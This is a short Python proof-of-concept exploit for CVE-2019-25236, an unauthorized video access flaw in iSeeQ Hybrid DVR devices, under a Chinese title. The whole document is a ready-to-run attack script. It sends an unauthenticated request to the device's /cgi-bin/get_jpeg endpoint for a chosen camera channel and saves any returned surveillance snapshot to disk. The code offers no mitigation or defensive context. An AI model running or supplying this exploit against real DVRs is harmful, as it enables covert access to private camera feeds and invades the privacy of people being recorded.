CVE-2019-25236 iSeeQ Hybrid DVR未授权视频流访问漏洞

#!/usr/bin/env python3 """ CVE-2019-25236 PoC - iSeeQ Hybrid DVR Unauthorized Video Access """ import requests import sys import argparse def check_vulnerability(target_ip, target_port=80, channel=0): """ Check if target iSeeQ DVR device is vulnerable """ url = f"http://{target_ip}:{target_port}/cgi-bin/get_jpeg" params = {"channel": channel} try: print(f"[*] Sending request to {url} with channel={channel}") response = requests.get(url, params=params, timeout=10) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'image/jpeg' in content_type or len(response.content) > 1000: print(f"[+] VULNERABLE! Received JPEG image ({len(response.content)} bytes)") # Save the image output_file = f"cve-2019-25236_channel{channel}_snapshot.jpg" with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Image saved to: {output_file}") return True print(f"[-] Not vulnerable or unexpected response") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2019-25236 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('-c', '--channel', type=int, default=0, help='Camera channel (default: 0)') args = parser.parse_args() check_vulnerability(args.target, args.port, args.channel) if __name__ == '__main__': main()